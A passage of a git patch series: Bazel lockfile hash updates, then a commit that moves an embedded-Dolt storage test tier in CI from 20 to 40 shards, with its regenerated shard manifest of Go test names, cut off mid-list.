"2b31ffcc9bdc8295b2167e07a757dbbc9ac8906e7028e5170a3708cecaac119f", "https://bcr.bazel.build/modules/aspect_bazel_lib/2.19.3/MODULE.bazel": "253d739ba126f62a5767d832765b12b59e9f8d2bc88cc1572f4a73e46eb298ca", "https://bcr.bazel.build/modules/aspect_bazel_lib/2.19.3/source.json": "ffab9254c65ba945f8369297ad97ca0dec213d3adc6e07877e23a48624a8b456", @@ -138,9 +138,9 @@ "https://bcr.bazel.build/modules/rules_cc/0.1.5/MODULE.bazel": "88dfc9361e8b5ae1008ac38f7cdfd45ad738e4fa676a3ad67d19204f045a1fd8", "https://bcr.bazel.build/modules/rules_cc/0.2.0/MODULE.bazel": "b5c17f90458caae90d2ccd114c81970062946f49f355610ed89bebf954f5783c", "https://bcr.bazel.build/modules/rules_cc/0.2.13/MODULE.bazel": "eecdd666eda6be16a8d9dc15e44b5c75133405e820f620a234acc4b1fdc5aa37", + "https://bcr.bazel.build/modules/rules_cc/0.2.15/MODULE.bazel": "6a0a4a75a57aa6dc888300d848053a58c6b12a29f89d4304e1c41448514ec6e8", "https://bcr.bazel.build/modules/rules_cc/0.2.17/MODULE.bazel": "1849602c86cb60da8613d2de887f9566a6d354a6df6d7009f9d04a14402f9a84", "https://bcr.bazel.build/modules/rules_cc/0.2.17/source.json": "3832f45d145354049137c0090df04629d9c2b5493dc5c2bf46f1834040133a07", - "https://bcr.bazel.build/modules/rules_cc/0.2.8/MODULE.bazel": "f1df20f0bf22c28192a794f29b501ee2018fa37a3862a1a2132ae2940a23a642", "https://bcr.bazel.build/modules/rules_foreign_cc/0.9.0/MODULE.bazel": "c9e8c682bf75b0e7c704166d79b599f93b72cfca5ad7477df596947891feeef6", "https://bcr.bazel.build/modules/rules_fuzzing/0.5.2/MODULE.bazel": "40c97d1144356f52905566c55811f13b299453a14ac7769dfba2ac38192337a8", "https://bcr.bazel.build/modules/rules_go/0.63.0/MODULE.bazel": "a2079e783a5d2715a90e6e2970ec8ffd717a487ff2aecb5f553e3975c5294a21", @@ -229,7 +229,7 @@ "moduleExtensions": { "@@pybind11_bazel+//:internal_configure.bzl%internal_configure_extension": { "general": { - "bzlTransitiveDigest": "NRXra7941UfmNUyIxnLt82V5hULluVGL2nBsijTl4j4=", + "bzlTransitiveDigest": "BsgERqYptkJeeC8wFaLj251IoTZTSy/58WA6kVp0q8I=", "usagesDigest": "D1r3lfzMuUBFxgG8V6o0bQTLMk3GkaGOaPzw53wrwyw=", "recordedInputs": [ "REPO_MAPPING:pybind11_bazel+,bazel_tools bazel_tools", @@ -251,7 +251,7 @@ }, "@@rules_kotlin+//src/main/starlark/core/repositories:bzlmod_setup.bzl%rules_kotlin_extensions": { "general": { - "bzlTransitiveDigest": "+Kp6j204mBZ3mxlIDDR0gBoP45BZ4jYRhRAcB8sU0qc=", + "bzlTransitiveDigest": "WDuVCwqV73DvcHB5Of+02lhUZgPxr9MqtpvMRyUi0eQ=", "usagesDigest": "QI2z8ZUR+mqtbwsf2fLqYdJAkPOHdOV+tF2yVAUgRzw=", "recordedInputs": [ "REPO_MAPPING:rules_kotlin+,bazel_tools bazel_tools" @@ -308,7 +308,7 @@ }, "@@rules_python+//python/extensions:config.bzl%config": { "general": { - "bzlTransitiveDigest": "dzD8Q2YmrP3fz8saWLHPmlwPLO91ImtTmP/c9JKTStM=", + "bzlTransitiveDigest": "L+2ZCpb7GIJqvWaXpzkfk/80d916sIFVmSPzrSm6of8=", "usagesDigest": "ZVSXMAGpD+xzVNPuvF1IoLBkty7TROO0+akMapt1pAg=", "recordedInputs": [ "REPO_MAPPING:rules_python+,bazel_tools bazel_tools", @@ -476,7 +476,7 @@ }, "@@rules_python+//python/uv:uv.bzl%uv": { "general": { - "bzlTransitiveDigest": "ijW9KS7qsIY+yBVvJ+Nr1mzwQox09j13DnE3iIwaeTM=", + "bzlTransitiveDigest": "IgkgxNrtlAec7OnaFrWoCC5NQhHcY/aIz4jsqcNMm8Y=", "usagesDigest": "H8dQoNZcoqP+Mu0tHZTi4KHATzvNkM5ePuEqoQdklIU=", "recordedInputs": [ "REPO_MAPPING:rules_python+,bazel_tools bazel_tools", From 72a3d8039d182ce0d77765fe90d567ffc74dce4f Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Fri, 9 Oct 2026 21:21:20 +0000 Subject: [PATCH 085/213] ci(bazel): embedded storage tier to 40 shards; split its two slowest tests (#7440) //internal/storage/embeddeddolt:embeddeddolt_embedded_test became the embedded lane's floor once the cmd tier was split (CI on #7438: 20 shards, 220s max, 162s median). Its tests are serial, so a shard's wall time is the sum of its tests; measured on rbe-west with the whole lane running (as CI runs it), its 20 shards took 110-161s. - TestCreateBatchFastPathsMatchPerRow_Embedded (111s) runs createbatchequiv's scenarios as two top-level tests (small+depadd, apply+waitsfor) through a new createbatchequiv.RunNamed; the same scenarios and checks. TestCreateBatchEquivalencePartsCoverEveryScenario fails unless the parts name every createbatchequiv.Run scenario exactly once. - TestWithPeerAuth_WarnsWhenStoredPeerSuppressesAmbientPassword (81s, eight cases each opening its own store) runs its table as two top-level tests, cases 1-4 and 5-8; cases and assertions unchanged. - Durations re-measured on rbe-west under the whole lane's load; the Bazel-only block is now 40 shards (LPT heaviest = the heaviest single test, TestLifecycleCloseReopenContract ~71s). One target: 40 is under Bazel's 50-shard cap, so no offset split. rbe-west, `bazel test //... --config=embedded --nocache_test_results`: storage shards max 161s -> 89s, median ~118s -> 63s. Bead: ga-vnycm2.28 Co-authored-by: Claude Opus 5.5 (1M context) --- .../scripts/embedded-storage-test-shards.txt | 823 +++++++++--------- .github/workflows/bazel.yml | 13 +- engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md | 2 +- .../createbatchequiv/createbatchequiv.go | 32 + internal/storage/embeddeddolt/BUILD.bazel | 6 +- .../create_batch_equivalence_test.go | 44 +- .../federation_credentials_test.go | 18 +- .../ci/embedded_storage_test_durations.json | 760 ++++++++-------- .../ci/gen_embedded_storage_shard_manifest.py | 2 +- scripts/shard_manifest_test.go | 4 +- 10 files changed, 905 insertions(+), 799 deletions(-) diff --git a/.github/scripts/embedded-storage-test-shards.txt b/.github/scripts/embedded-storage-test-shards.txt index 0b2f4d259..7e9f2991d 100644 --- a/.github/scripts/embedded-storage-test-shards.txt +++ b/.github/scripts/embedded-storage-test-shards.txt @@ -114,12 +114,12 @@ # # Format: # -# 20-shard split for the Bazel-only embedded-Dolt storage tier +# 40-shard split for the Bazel-only embedded-Dolt storage tier # (bazel-embedded in .github/workflows/bazel.yml), bin-packed # longest-processing-time-first by measured wall-time from # scripts/ci/embedded_storage_test_durations.json (see that file for provenance # and its "relative weight, not absolute SLA" caveat). -# Regenerate with scripts/ci/gen_embedded_storage_shard_manifest.py 20 +# Regenerate with scripts/ci/gen_embedded_storage_shard_manifest.py 40 # --weights=duration --write after adding or removing Test* functions in # internal/storage/embeddeddolt/*_test.go. --write is incremental: it # keeps every already-assigned test on its current shard and only places @@ -134,420 +134,443 @@ # This file is generated: notes added here are erased by the next # regeneration. Add them to the generator or the durations file instead. -20 1 TestCountsWithMissingWispPlaneTables -20 1 TestCreateBatchFastPathsMatchPerRow_Embedded -20 1 TestEmbeddedClaimerStampsStartedAtOnceAcrossTheTwoWritesItChoosesBetween -20 1 TestEmbeddedClaimerTakesAPoolAssignedIssueButRefusesAForeignHolder -20 1 TestEmbeddedDependencyEditorRefusesASamePlaneEdgeClosingACrossPlaneCycle -20 1 TestEmbeddedIssueOperationsUpdateLabelPatchValueRules -20 1 TestEmbeddedReaderGetDetailShapeMatchesTheSeededIssue -20 1 TestEmbeddedReaderListKeysetPositionNarrowsWithoutReplacingTheOtherPredicates -20 1 TestEmbeddedReaderListReadyFlagRefusesAFilterItCannotCarry -20 1 TestEmbeddedReadyClaimerRejectsLimitOffsetBriefAndEmptyActor -20 1 TestEmbeddedRelationsSeparatesNoNeighborsFromNoSuchIssue -20 1 TestIgnoredCursorHealResumeRespectsOperatorOverride -20 1 TestReadyCounterContract -20 1 TestReclaimRefusesForeignReplicaLease +40 1 TestLifecycleCloseReopenContract -20 2 TestEmbeddedBatchCloserClaimNextHydratesWhenSomethingClosed -20 2 TestEmbeddedConfigCommitStagesConfig -20 2 TestEmbeddedDependencyEditorRecordsNoHistoryForAnAllEphemeralRequest -20 2 TestEmbeddedIssueOperationsUpdateFoldsMetadataIntoOneEvent -20 2 TestEmbeddedIssueOperationsUpdateIssuePlaneOnlyRefusesWisps -20 2 TestEmbeddedIssueOperationsUpdateLabelPatchOrdering -20 2 TestEmbeddedIssueOperationsUpdateRawMetadataTakesTheFunnelsValueShapes -20 2 TestEmbeddedReaderListIncludeEphemeralMergesThePlanesIntoOneOrder -20 2 TestEmbeddedReadyClaimerLeasesADurableWinButNotAnEphemeralOne -20 2 TestEmbeddedRelationsRefusesTheZeroDirection -20 2 TestEmbeddedReopenIssueCategorySemantics -20 2 TestEmbeddedTransactionWispLifecyclePersistsDurableDependent -20 2 TestEventsJournalAccessor -20 2 TestGetDependentRecordsEmbedded -20 2 TestLifecycleCloseReopenContract -20 2 TestOpenReturnsCachedStore -20 2 TestWithPeerAuth_EnvFallbackDoesNotObservePeerCredentials +40 2 TestBatchApplyContract -20 3 TestBatchApplyContract -20 3 TestEmbeddedDependencyEditorAcceptsAForeignRepoTarget -20 3 TestEmbeddedDependencyEditorClosedChildAddSatisfiesAnAnyChildrenGate -20 3 TestEmbeddedDependencyEditorRefusalWritesNothing -20 3 TestEmbeddedIssueOperationsCreateClosedDerivesTheClosedStamp -20 3 TestEmbeddedIssueOperationsRequestValuesAreNotMutated -20 3 TestEmbeddedLenientOpenWarning_OtherRefusalsKeepBluntGuidance -20 3 TestEmbeddedReaderDoesNotMutateTheCallerRequest -20 3 TestEmbeddedReaderListLimitBoundaryUnderASortTheDatabaseCanExpress -20 3 TestEmbeddedReadyClaimerSkipsIneligibleFrontRows -20 3 TestEmbeddedRelationsFiltersByAnOpenTypeVocabulary -20 3 TestEventsJournalPruneWhenEveryRowIsOlderThanTheCutoff -20 3 TestGetIssueCommentsPageEmbedded -20 3 TestGetReadyWorkIncludeEphemeralAppliesWispFilters -20 3 TestJournalContract -20 3 TestSearchWithMissingWispPlaneTables +40 3 TestActiveDatabaseSizeFailsForMissingEmbeddedDatabase +40 3 TestActiveDatabaseSizeScopesToActiveEmbeddedDatabase +40 3 TestBuildDSN_NoDatabase +40 3 TestBuildDSN_SpacesInPath +40 3 TestBuildDSN_WithDatabase +40 3 TestCleanGitRemoteCacheGarbage +40 3 TestCleanGitRemoteCacheGarbage_NoCacheDir +40 3 TestCleanGitRemoteCacheGarbage_Throttled +40 3 TestCommitAllOutOfBandChangeAndHonestNoOp +40 3 TestCreateBatchEquivalencePartsCoverEveryScenario +40 3 TestCreateBatchFastPathsMatchPerRowLarge_Embedded +40 3 TestCrossRecordInvariantContract +40 3 TestDepRekeyMarkerStillInIgnoredSeries +40 3 TestDoltCommitResponseLossIsIndeterminate +40 3 TestEmbeddedDoltStoreIssueLifecycleBuildsOperations +40 3 TestEmbeddedDoltStoreIssueLifecycleRejectsNilStore +40 3 TestEmbeddedOpenReadOnly_FreshDatabaseNoWrites +40 3 TestEmbeddedSQLCommitResponseLossIsIndeterminate +40 3 TestEpochContract +40 3 TestExpectedRevisionContract +40 3 TestGitRefPinsMatchDolt +40 3 TestHasRepository +40 3 TestHelperProcess +40 3 TestLargeBatchApplyStatementCounts712_Embedded +40 3 TestLargeGraphCreateTiming_Embedded +40 3 TestLenientGateWarningBody_BluntRefusalKeepsSharedGuidance +40 3 TestLenientGateWarningBody_ShapedDecisions +40 3 TestLenientGateWarning_ComposedOutput +40 3 TestMain +40 3 TestPushCommitsPendingChangesFirst +40 3 TestRemoteEntryPointsUseVersionControlOps +40 3 TestRetentionContract +40 3 TestStageAndCommitAfterSQLCommitResponseLossIsIndeterminateAndNotReplayed +40 3 TestTransactionCleanupAfterSQLCommitIsIndeterminate +40 3 TestTransactionCleanupBeforeSQLCommitRemainsDefinite +40 3 TestUnknownProvenanceLeaseStaysReclaimable -20 4 TestEmbeddedBatchCloserBackendFailureReturnsNoOutcomes -20 4 TestEmbeddedBatchCloserRecordsOneHistoryEntryForWhatLanded -20 4 TestEmbeddedDependencyEditorAttributesItsEventsToTheActor -20 4 TestEmbeddedIssueOperationsUpdateClaimHonorsConfiguredActiveStatuses -20 4 TestEmbeddedIssueOperationsUpdateClosedFieldsMatchClose -20 4 TestEmbeddedMergeAndSettleDirtyWorkingSetSurvivesRefusedMerge -20 4 TestEmbeddedMergeAndSettleReportsOperatorConflicts -20 4 TestEmbeddedReaderListPriorityKeysetWalkOverAnOversizedEqualKeyRunLosesNothingAndRepeatsNothing -20 4 TestEmbeddedReaderListReadyFlagAnswersTheBlockerAwareSet -20 4 TestEmbeddedRelationsRefusesATypeFilterOverTheColumnLength -20 4 TestEventsSinceEmbedded -20 4 TestIgnoredCursorHealConvergesFromEveryCrashState -20 4 TestMergeAndSettleWithStrategy_EmptyStrategyMatchesMergeAndSettle -20 4 TestReleaserContract -20 4 TestRemoteGitDataRefOnEngine -20 4 TestUpdateMergeOps_DoltEngine_TwoIssues -20 4 TestWithPeerAuth_WarnsWhenStoredPeerSuppressesAmbientPassword +40 4 TestCreateBatchFastPathsMatchPerRowSmallDepAdd_Embedded +40 4 TestEmbeddedIssueOperationsUpdateLabelPatchOrdering +40 4 TestEmbeddedReaderGetMissIsNotFoundAndBackendFailureDoesNotDecay +40 4 TestMergeAndSettleWithStrategy_EmptyStrategyMatchesMergeAndSettle -20 5 TestCommitAllOutOfBandChangeAndHonestNoOp -20 5 TestDescendantWalkReachesEveryTargetKindAndStopsOnCycles -20 5 TestEmbeddedBatchCloserClaimFilterValueFailureIsARequestValidationFailure -20 5 TestEmbeddedClaimerGrantsALiveLeaseOnTheRowItWonAndLeavesARefusedOneAlone -20 5 TestEmbeddedDependencyEditorRemovesOnlyTheNamedEdge -20 5 TestEmbeddedDependencyEditorValidationRefusalsWriteNothing -20 5 TestEmbeddedIssueOperationsUpdateParentStagesBlockedStateAndRollsBackFailure -20 5 TestEmbeddedIssueOperationsUpdateStatusCrossingSettlesAConditionalBlocksDepender -20 5 TestEmbeddedMergeAndSettleMetadataConflict -20 5 TestEmbeddedReaderListNaturalNumericIDSortTrimsAfterTheFetch -20 5 TestEmbeddedReaderListWispTypeNarrowsTheAdmittedPlaneRatherThanAdmittingIt -20 5 TestEmbeddedReaderReadyEphemeralPageKeepsBothPlanesCountsAtItsBoundary -20 5 TestEmbeddedReaderReadyParentScopesToItsTransitiveDescendants -20 5 TestEmbeddedRelationsResolvesAWispAnchor -20 5 TestIgnoredCursorHealNeverResurrectsRolledBackVersions -20 5 TestLifecycleCreateContract -20 5 TestPushCommitsPendingChangesFirst +40 5 TestEmbeddedClaimerRefusesIncompleteRequestsAndAnAbsentIDWithoutTouchingState +40 5 TestEmbeddedIssueOperationsCloseAndReopenAWisp +40 5 TestEmbeddedReaderListKeysetPositionResumesTheCreatedDescIDAscOrder +40 5 TestWithPeerAuth -20 6 TestConcurrencyMultiProcess -20 6 TestConcurrentOpenReturnsCached -20 6 TestDualWriteFixtureKitIsWired -20 6 TestEmbeddedBatchCloserClaimNextIsNilWhenNothingClosed -20 6 TestEmbeddedClaimerRefusesABuiltInIneligibleStatusWithTheStateThatRefusedIt -20 6 TestEmbeddedDependencyEditorAcceptsADiamond -20 6 TestEmbeddedIgnoredMigration0023RepairsForkLineageJournalShape -20 6 TestEmbeddedIssueOperationsClaimLeavesBlockedStateAlone -20 6 TestEmbeddedLenientOpenWarning_DataBehind -20 6 TestEmbeddedReaderListKeysetPositionResumesTheCreatedDescIDAscOrder -20 6 TestEmbeddedReaderReadyDeferredAndEphemeralGates -20 6 TestEmbeddedRelationsLeavesAnExternalTargetOutOfTheAnswer -20 6 TestEventsJournalRestartAndRetentionBoundary -20 6 TestGraphCounterContract -20 6 TestGraphWalkPlansHonorJoinHints -20 6 TestHistoryPresenceContract -20 6 TestPromoteClearsNoHistory -20 6 TestReadEventsAutoPruneStateResolvesBothHalvesInOneQuery +40 6 TestCreateBatchFastPathsMatchPerRowApplyWaitsFor_Embedded +40 6 TestEmbeddedMergeAndSettleFKCascadeRepair +40 6 TestEmbeddedMergeAndSettleSkipsNonMemoryConfigConflict +40 6 TestEmbeddedReaderListKeysetPositionNarrowsWithoutReplacingTheOtherPredicates +40 6 TestEmbeddedRelationsAnswersAWispTargetInTheOutDirection +40 6 TestPromoteStillWorksWithCollisionGuard +40 6 TestSearchWithMissingWispPlaneTables -20 7 TestCreateIssuesRejectStaleUpserts -20 7 TestDecryptPassword_KeyMismatchNamesTheLocalKey -20 7 TestEmbeddedBatchCloserDuplicateItemRecloseAtItsOwnIndex -20 7 TestEmbeddedDependencyEditorSnapshotsTheRequest -20 7 TestEmbeddedDependencyEditorWritesTheTargetIntoItsTypedColumn -20 7 TestEmbeddedIssueOperationsCreateRoutesInfraTypesToWisps -20 7 TestEmbeddedIssueOperationsUpdateAllScalarAndPointerFieldsReportChanged -20 7 TestEmbeddedReaderListParentReachesEveryDescendantAndOnlyItsOwn -20 7 TestEmbeddedReaderListRejectsATypeOutsideTheWorkspaceVocabulary -20 7 TestEmbeddedReaderOffsetSkipsTheRowsBeforeThePage -20 7 TestEmbeddedRelationsDirectionSelectsTheInverseGraph -20 7 TestEmbeddedRelationsOrdersNeighborsFromBothPlanesTogether -20 7 TestEmbeddedRelationsResolvesTheAnchorIDExactly -20 7 TestGetDependentRecordsForIssuesEmbedded -20 7 TestHeartbeatRejectsWispEmbedded -20 7 TestPromoteStillWorksWithCollisionGuard -20 7 TestUpdateMergeOps_DoltEngine -20 7 TestWithPeerAuth +40 7 TestConcurrencyMultiProcess +40 7 TestEmbeddedBatchCloserRecordsOneHistoryEntryForWhatLanded +40 7 TestEmbeddedDependencyEditorAcceptsAnExternalTarget +40 7 TestEmbeddedDependencyEditorRelatesToAddLeavesItsSourceUnblocked +40 7 TestEmbeddedIssueOperationsUpdateMetadataReplaceClearsAndValidates +40 7 TestEmbeddedLenientOpenWarning_DataBehind +40 7 TestEmbeddedRelationsLeavesTheCallersRequestAlone +40 7 TestMergeAndSettleWithStrategy_ResolvesDeclinedConflict -20 8 TestEmbeddedClaimerReclaimsAcrossSpellingWithoutWriting -20 8 TestEmbeddedDependencyEditorSameTypeReAddWithChangedThreadMintsOneVersion -20 8 TestEmbeddedGuardedUpdateMintsOnceAfterItsPatches -20 8 TestEmbeddedIssueOperationsUpdateClaimConflictCarriesTheLosingState -20 8 TestEmbeddedIssueOperationsUpdateStampsStartedAtOnceOnTheFirstInProgress -20 8 TestEmbeddedMigration0058CleansOrphanedAndInvalidWispDependenciesRowsBeforeAddingConstraints -20 8 TestEmbeddedReaderListEmptyPageIsWellFormed -20 8 TestEmbeddedReaderReadyPageWiderThanTheHydrationBatchIsStillThatPrefix -20 8 TestEmbeddedRecomputeAllBlockedDirtyGraphIsTyped -20 8 TestEmbeddedRelationsRefusesAnUnusableTypeFilter -20 8 TestEmbeddedRoleFixtureKitHooksAreUsable -20 8 TestEmbeddedTransactionStandaloneWispLifecyclePersistsWithoutDoltCommit -20 8 TestEmbeddedTransactionStandaloneWispMutationDoesNotPublishUnrelatedDurableChanges -20 8 TestGetNextChildID -20 8 TestListWisps -20 8 TestPreviewStoreRefusesLocalMetadataWrite -20 8 TestReclaimAnyReplicaOverride -20 8 TestStatsReporterContract -20 8 TestWithPeerAuth_ConcurrentPeersDoNotMixCredentials +40 8 TestDeleterContract +40 8 TestEmbeddedDependencyEditorRoutesWispSourcedRemovalToTheWispPlane +40 8 TestEmbeddedMergeAndSettleDirtyWorkingSetSurvivesRefusedMerge +40 8 TestEmbeddedReaderGetBriefDepsProjectsTheDependencyRows +40 8 TestEmbeddedRelationsOrdersNeighborsFromBothPlanesTogether +40 8 TestEmbeddedReopenIssueCategorySemantics +40 8 TestGetIssueCommentsPageEmbedded +40 8 TestListWisps -20 9 TestDeleterContract -20 9 TestDualWriteContractFlagOff -20 9 TestEmbeddedClaimerTakesAnOpenIssueTheActorAlreadyHolds -20 9 TestEmbeddedDepRekeyRefusesToWriteIntoDirtyDependencies -20 9 TestEmbeddedDependencyEditorAcceptsATypeOutsideTheConstants -20 9 TestEmbeddedDependencyEditorAppliesParentChildBeforeBlockingEdges -20 9 TestEmbeddedDependencyEditorRecordsOneHistoryEntryForAMixedPlaneRequest -20 9 TestEmbeddedReaderListMaxRowsIsHonored -20 9 TestEmbeddedReaderReadyBriefDropsTheFreeFormTextAndNothingElse -20 9 TestEmbeddedRelationsAnswersAWispTargetInTheOutDirection -20 9 TestForeignSkipDetailIsBounded -20 9 TestHookFiringStoreCreateIssuesFiresDependencyUpdatesFromEmbeddedStore -20 9 TestLeaseLifecycleEmbedded -20 9 TestOpenAfterCloseCreatesNewStore -20 9 TestPartitionWispIDs -20 9 TestReadyWorkWithMissingDeferredParentTables -20 9 TestRemoteVerbsPresentStoredPeerCredentials -20 9 TestRunInTransactionPostCommitStageFailureIsIndeterminate -20 9 TestWithPeerAuth_MissingRemoteFailsClosed +40 9 TestEmbeddedDependencyEditorRefusesCrossPlaneCycle +40 9 TestEmbeddedDependencyEditorSameTypeReAddIsIdempotent +40 9 TestEmbeddedDependencyEditorSnapshotsTheRequest +40 9 TestEmbeddedMigration0058AddsOnlyMissingConstraintInMixedPopulation +40 9 TestEmbeddedReaderReadyPageWiderThanTheHydrationBatchIsStillThatPrefix +40 9 TestEmbeddedReadyClaimerHydratesOnlyItsBlocksEdgesIntoTheCardinalities +40 9 TestGetReadyWorkIncludeEphemeralExcludesNonReadyWisps +40 9 TestPristineEmbeddedDoltFixtureRelocatesPrefixes +40 9 TestUpdateMergeOps_DoltEngine -20 10 TestEdgeReaderContract -20 10 TestEmbeddedBatchCloserOutcomeSnapshotIsTheDocumentedShape -20 10 TestEmbeddedClaimerRefusesIncompleteRequestsAndAnAbsentIDWithoutTouchingState -20 10 TestEmbeddedDependencyEditorMaintainsBlockedStateAcrossPlanes -20 10 TestEmbeddedDependencyEditorMixedBatchRefusalRollsBackBothPlanes -20 10 TestEmbeddedIgnoredMigration0023NoopsOnHealthyWorkspace -20 10 TestEmbeddedIssueOperationsUpdateInvalidIssueTypePreservesValidationSentinel -20 10 TestEmbeddedIssueOperationsUpdateWritesEveryScalarPatchField -20 10 TestEmbeddedMigrateConsent_BehindAndDirtyWorkingSetReconcileRecovers -20 10 TestEmbeddedOpenForRemoteSync_OtherRefusalsStayFatal -20 10 TestEmbeddedPre0058RepairMarchesDriftedWispDependenciesToFinalShape -20 10 TestEmbeddedReaderGetBriefDepsProjectsTheDependencyRows -20 10 TestEmbeddedReaderListMaxRowsBoundaryIsLimitPlusOffset -20 10 TestEmbeddedRelationsLeavesTheCallersRequestAlone -20 10 TestEmbeddedReopenCustomDoneFallsBackWhenNormalizedTableMissing -20 10 TestEventsJournalPruneNeverSplitsASkewedPair -20 10 TestGitRefPinsMatchDolt -20 10 TestIsBlockedBatchEmbedded -20 10 TestLenientGateWarningBody_BluntRefusalKeepsSharedGuidance -20 10 TestMain -20 10 TestRetentionContract +40 10 TestEmbeddedClaimerStampsStartedAtOnceAcrossTheTwoWritesItChoosesBetween +40 10 TestEmbeddedDependencyEditorRemoveIsIdempotent +40 10 TestEmbeddedIssueOperationsUpdateClaimCASAndTransferMatrix +40 10 TestEmbeddedReaderGetResolvesTheExactIDAcrossBothPlanes +40 10 TestEmbeddedReaderReadyEphemeralPageKeepsBothPlanesCountsAtItsBoundary +40 10 TestGraphCounterContract +40 10 TestIgnoredCursorHealRespectsOperatorOverride +40 10 TestRunInTransactionPostCommitStageFailureIsIndeterminate +40 10 TestWithPeerAuth_WarnsWhenStoredPeerSuppressesAmbientPasswordAmbient -20 11 TestEmbeddedBatchCloserAllRefusedBatchRecordsNoHistory -20 11 TestEmbeddedBatchCloserForceBypassesOnlyClosePolicy -20 11 TestEmbeddedBatchCloserOutcomesMirrorItemsIndexForIndex -20 11 TestEmbeddedClaimerRefusalMessagesCarryTheirFragments -20 11 TestEmbeddedClaimerRefusesAWispIDAsNotFound -20 11 TestEmbeddedDependencyEditorRemoveIsIdempotent -20 11 TestEmbeddedDependencyEditorSameTypeReAddWithChangedMetadataMintsOneVersion -20 11 TestEmbeddedMigration0058HealsAlreadyAffectedDatabase -20 11 TestEmbeddedMigration0062FlipsEventsToIgnoredPlane -20 11 TestEmbeddedReaderListDefaultExclusionsAndTheirOverrides -20 11 TestEmbeddedReaderListReadyFlagCarriesTheAssigneeAndPriorityFilters -20 11 TestEmbeddedReaderReadyLimitBoundary -20 11 TestEmbeddedReadyClaimerEmptyFrontIsNormal -20 11 TestGetReadyWorkIncludeEphemeralExcludesNonReadyWisps -20 11 TestIgnoredCursorHealRespectsOverrideUnderBroaderPattern -20 11 TestLifecycleUpdateContract -20 11 TestReadyWorkStatementBudget -20 11 TestRemoteVerbPlainRemoteKeepsAmbientEnv -20 11 TestRenameLabelMintsOneVersionPerTouchedBead +40 11 TestEmbeddedBatchCreateFirstVersionCarriesCreationTimeEdges +40 11 TestEmbeddedClaimerRefusalMessagesCarryTheirFragments +40 11 TestEmbeddedGuardedUpdateMintsOnceAfterItsPatches +40 11 TestEmbeddedMergeAndSettleRefusesUnknownTable +40 11 TestEmbeddedReaderListMaxRowsBoundaryIsLimitPlusOffset +40 11 TestEmbeddedReadyClaimerRecordsOneHistoryEntryForAWin +40 11 TestEventsJournal_ActorMatrixOnEmbedded +40 11 TestMemoriesContract +40 11 TestWithPeerAuth_WarnsWhenStoredPeerSuppressesAmbientPasswordStored -20 12 TestActiveDatabaseSizeFailsForMissingEmbeddedDatabase -20 12 TestBuildDSN_SpacesInPath -20 12 TestCleanGitRemoteCacheGarbage_NoCacheDir -20 12 TestCrossRecordInvariantContract -20 12 TestCycleDetectorContract -20 12 TestDecryptPassword_ShortCiphertextClassifiesAsKeyMismatch -20 12 TestDualWriteContract -20 12 TestEmbeddedBlockedRecheckRecordsUnblockingWrites -20 12 TestEmbeddedBlockedRecheckSettlesWhatTheWriteRecorded -20 12 TestEmbeddedClaimIssueWrapperClaimsTheWispPlane -20 12 TestEmbeddedCommitToleratesNothingToCommit -20 12 TestEmbeddedDependencyEditorGateScopeFollowsTheEdgeType -20 12 TestEmbeddedDependencyEditorVersionsOnlyARealAddOrRemove -20 12 TestEmbeddedDoltStoreIssueLifecycleBuildsOperations -20 12 TestEmbeddedIgnoredSeriesConvergesWithFreshInitShape -20 12 TestEmbeddedIssueOperationsCloseAndReopenAWisp -20 12 TestEmbeddedReaderListCountsAreBlocksOnlyWhereGetCountsEveryEdge -20 12 TestEmbeddedReadyClaimerAnswersTheQuestionReaderReadyLists -20 12 TestEmbeddedReadyClaimerHydratesOnlyItsBlocksEdgesIntoTheCardinalities -20 12 TestEmbeddedRoleFixtureKitCountHistoryMovesWithACommit -20 12 TestEmbeddedSQLCommitResponseLossIsIndeterminate -20 12 TestEventsAutoPruneBoundsTheJournalToTheFloors -20 12 TestHasRepository -20 12 TestHistory_NullTextColumns -20 12 TestLenientGateWarningBody_ShapedDecisions -20 12 TestMetadataCASContract -20 12 TestStageAndCommitAfterSQLCommitResponseLossIsIndeterminateAndNotReplayed -20 12 TestWorkspaceConfigContract +40 12 TestCounterExcludeStatusAcceptsAWorkspaceCustomStatusWithoutIncludeInfra +40 12 TestEmbeddedClaimerAcceptsAConfiguredActiveStatusAndRefusesAConfiguredWipOne +40 12 TestEmbeddedClaimerRefusesAWispIDAsNotFound +40 12 TestEmbeddedDependencyEditorVersionsOnlyARealAddOrRemove +40 12 TestEmbeddedIgnoredMigration0023RepairsForkLineageJournalShape +40 12 TestEmbeddedIssueOperationsCreateUnderAParentMintsTheNextChildID +40 12 TestEmbeddedReadyClaimerAnswersTheQuestionReaderReadyLists +40 12 TestHistoryPresenceContract +40 12 TestLifecycleUpdateContract -20 13 TestAddDependency -20 13 TestAddLabel -20 13 TestEmbeddedBatchCloserRequestValidationReturnsZeroResultAndChangesNothing -20 13 TestEmbeddedDependencyEditorAddedEchoesTheRequestOrder -20 13 TestEmbeddedDependencyEditorRefusesAMissingLocalTarget -20 13 TestEmbeddedDependencyEditorRetypeRefusalLeavesTheOriginalEdge -20 13 TestEmbeddedDependencyEditorSameTypeReAddIsIdempotent -20 13 TestEmbeddedDependencyEditorSameTypeReAddWithIdenticalMetadataIsANoOp -20 13 TestEmbeddedDirtyTablesGate_BlocksReopenThenWorkingSetReconcileRecovers -20 13 TestEmbeddedIgnoredMigration0023NoopsWithoutItsTables -20 13 TestEmbeddedIssueOperationsCreateAggregatesRelations -20 13 TestEmbeddedReaderListKeysetWalkOverAnOversizedGroupLosesNothingAndRepeatsNothing -20 13 TestEmbeddedReaderReadyPageIsThePrefixOfTheUnboundedAnswerCountsIncluded -20 13 TestEmbeddedRecomputeAllBlockedWiring -20 13 TestHeartbeatMatchesActorAcrossSpellingEmbedded -20 13 TestLegacyTrackedIgnoredCursorHealsOnOpen -20 13 TestMemoriesContract -20 13 TestQuerierContract -20 13 TestTreeWalkerContract +40 13 TestEmbeddedDepRekeyConvergesRenameChain +40 13 TestEmbeddedDependencyEditorAppliesParentChildBeforeBlockingEdges +40 13 TestEmbeddedDependencyEditorRefusesAGhostSource +40 13 TestEmbeddedIssueOperationsCreateParentChildRecomputesWaitsForClosure +40 13 TestEmbeddedIssueOperationsUpdateClaimPatchAppliesAfterClaim +40 13 TestEmbeddedIssueOperationsUpdateFoldsMetadataIntoOneEvent +40 13 TestEmbeddedPre0058RepairMarchesDriftedWispDependenciesToFinalShape +40 13 TestEmbeddedRelationsDirectionSelectsTheInverseGraph +40 13 